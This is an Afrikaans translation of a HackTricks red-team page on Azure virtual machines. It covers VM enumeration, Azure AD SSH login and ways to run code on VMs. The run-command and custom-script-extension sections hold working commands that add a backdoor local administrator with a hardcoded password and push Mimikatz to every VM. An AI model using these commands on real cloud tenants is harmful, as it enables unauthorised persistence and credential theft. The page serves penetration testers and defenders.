Az - Virtual Machines & Network

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese inligting

Volgens die dokumentasie: Azure virtuele masjiene is een van verskeie tipes on-demand, skaalbare rekenhulpbronne wat Azure bied. Gewoonlik kies jy 'n virtuele masjien wanneer jy meer beheer oor die rekenomgewing nodig het as wat die ander keuses bied. Hierdie artikel gee jou inligting oor wat jy moet oorweeg voordat jy 'n virtuele masjien skep, hoe om dit te skep, en hoe om dit te bestuur.

Azure Netwerk Inligting

Azure-netwerke bevat verskillende entiteite en maniere om dit te konfigureer. Jy kan 'n kort beskrywing, voorbeelde en opsomming-opdragte van die verskillende Azure-netwerk-entiteite vind in:

Az - Azure Network

Azure Bastion

Azure Bastion bied 'n veilige, volledig bestuurde RDP (Remote Desktop Protocol) en SSH (Secure Shell) toegangslösing oor SSL deur die Azure-portaal. Dit is geïntegreer binne 'n Azure Virtuele Netwerk, wat RDP- en SSH-konnektiwiteit na VM's met behulp van private IP-adresse moontlik maak, sonder die behoefte aan openbare IP-adresse. Dit maak dit 'n veiliger, geriefliker alternatief vir tradisionele metodes wat openbare IP-toewysings en NSG-reëlkonfigurasies vir VM-toegang betrek. Ontwikkelaars en IT-personeel kan veilig toegang verkry tot VM's vanuit die Azure-portaal deur hul webblaaier te gebruik, wat die proses vir ontwikkeling en toetsomgewings stroomlyn.

Om alle Azure Bastion-gashere in jou intekening te lys, kan jy die volgende opdrag gebruik:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

VM Enumerasie

Die volgende opdragte kan gebruik word om inligting oor virtuele masjiene (VMs) in Azure te verkry:

  • az vm list: Gee 'n lys van alle VMs in die huidige abonnement.

  • az vm show: Gee gedetailleerde inligting oor 'n spesifieke VM.

  • az vm get-instance-view: Gee 'n volledige beskrywing van die toestand van 'n spesifieke VM.

Om die opdragte te gebruik, vervang <VM_NAME> met die naam van die VM en <RESOURCE_GROUP_NAME> met die naam van die hulpbrongroep waarin die VM geleë is.

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Voer opdragte uit in 'n VM

AAD-aantekening in VM

Dit is moontlik om toegang te verleen aan gebruikers wat geïdentifiseer is deur middel van AzureAD. Byvoorbeeld, as jy probeer om toegang te verkry tot 'n linux VM: ssh username@azure-corp.com@1.1.1.1 (dit is belangrik om die e-posadres te gebruik wat gekoppel is aan die azurecorp wanneer jy probeer om in te teken), kan jy 'n fout kry soos:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Volg net daardie instruksies deur na https://microsoft.com/devicelogin te gaan en die kode aan te dui, gebruik die e-pos en wagwoord as geloofsbriewe en jy sal in staat wees om via SSH te verbind (as daardie gebruiker genoeg toestemmings het om dit te doen: Virtual Machine Administrator Login of Virtual Machine User Login rol).

Voer Opdrag uit

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Voer Aangepaste Skripsie-uitbreiding uit

Azure virtuele masjien (VM)-uitbreidings is klein toepassings wat ná implementering konfigurasie en outomatisering take op Azure VM's voorsien. Byvoorbeeld, as 'n virtuele masjien sagteware-installasie, antivirusbeskerming, of die vermoë om 'n skripsie binne-in dit uit te voer, benodig, kan jy 'n VM-uitbreiding gebruik.

Daarom, as jy toegang het om dit te skryf, kan jy willekeurige kode uitvoer:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) is 'n PowerShell-hulpmiddel soortgelyk aan Ansible, wat gebruik word om 'n gasheer deur middel van kode op te stel. DSC integreer met Azure en maak dit moontlik om spesifieke konfigurasie lêers op te laai. Hierdie lêers moet aan 'n streng sintaksis voldoen. Die DSC-uitbreiding in Azure kan bevele uitvoer van lêers wat aan sekere formaatvereistes voldoen, selfs as die sintaksis nie korrek is vir DSC-standaarde nie, soos in die voorsiene figuur getoon.

Die uitvoering van hierdie bevele word fasiliteer deur die Publish-AzVMDscConfiguration funksie in Az PowerShell. Die vereistes sluit 'n .PS1 lêer met 'n gedefinieerde funksie in en die lêer moet in 'n .zip lêer gegroepeer word. Selfs al is die sintaksis nie akkuraat vir DSC nie, sal die kode steeds uitgevoer word. Die uitbreiding sal egter die uitvoerstatus as "mislukking" aandui, en geen uitset van die bevel sal sigbaar wees nie as gevolg van die status wat oorskryf word deur die mislukkingsboodskap.

VM-toepassingsdefinisies

VM-toepassingsdefinisies maak die herhaalbare implementering van weergawes van toepassings na 'n Azure VM moontlik. Hierdie hulpbron ondersteun die implementering en opdatering van toepassings oor VM's. Om dit op te stel, is verskeie stappe nodig, wat bevele soos New-AzGalleryApplication en New-AzGalleryApplicationVersion in Az PowerShell insluit.

Die uitvoering van toepassings of bevele deur middel van hierdie metode behels die gebruik van die "VMAppExtension", wat outomaties geïnstalleer word wanneer 'n toepassing op 'n VM toegepas word. Die uitbreiding haal die lêer vanaf die gespesifiseerde URI en noem dit presies dieselfde as die toepassing, sonder 'n uitbreiding. Om die lêer korrek uit te voer, moet die "ManageActions" veld in die REST API-oproep gekonfigureer word om die lêer te hernoem met die toepaslike uitbreiding. Die opstel van hierdie metode sal, wanneer dit voltooi is, lyk soos die struktuur wat in die voorsiene figuur getoon word.

Hierdie metode van uitvoering is egter relatief stadig en neem ongeveer 3-4 minute in beslag om 'n toepassing of bevel uit te voer. Die lêers wat verband hou met hierdie proses word gestoor in spesifieke gidsies (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ vir die toepassingskopie en C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ vir die uitvoerstatus).

Beide tegnieke bied unieke maniere om bevele uit te voer en toepassings in Azure-omgewings te implementeer, elk met sy eie stel vereistes, stappe en oorwegings.

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) is 'n kenmerk in Azure wat dit moontlik maak om Runbooks, wat gekonfigureer is in 'n Automatiseringsrekening, uit te voer op 'n Azure Virtuele Masjien (VM) wat deel is van die aangewese HWG. Hierdie uitvoering word fasiliteer deur 'n uitbreiding wat op die VM geïnstalleer is en die Runbook-kode op die VM implementeer. 'n Belangrike aspek van hierdie proses is dat die werklike geloofsbriewe nie 'n rol speel in die uitvoering nie, omdat die kode met verhoogde bevoegdhede loop, spesifiek as SYSTEM of root, soos geïllustreer in die voorsiene figuur.

'n Belangrike detail vir diegene wat Windows 10 VM's gebruik, is die noodsaaklikheid om die PowerShell-weergawe vir die Runbook te spesifiseer. Dit moet ingestel word om as PowerShell-weergawe 5.1 uitgevoer te word in plaas van 7.1. Hierdie vereiste spruit voort uit die feit dat PowerShell 7.1 nie standaard op hierdie VM's geïnstalleer is nie, wat lei tot 'n mislukking in die uitvoering van die skrips as weergawe 7.1 gespesifiseer word.

Hierdie kenmerk van Azure bied 'n robuuste metode vir outomatisering en bestuur van take oor hibriede omgewings, wat sentrale bestuur en uitvoering van take op Azure VM's moontlik maak.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated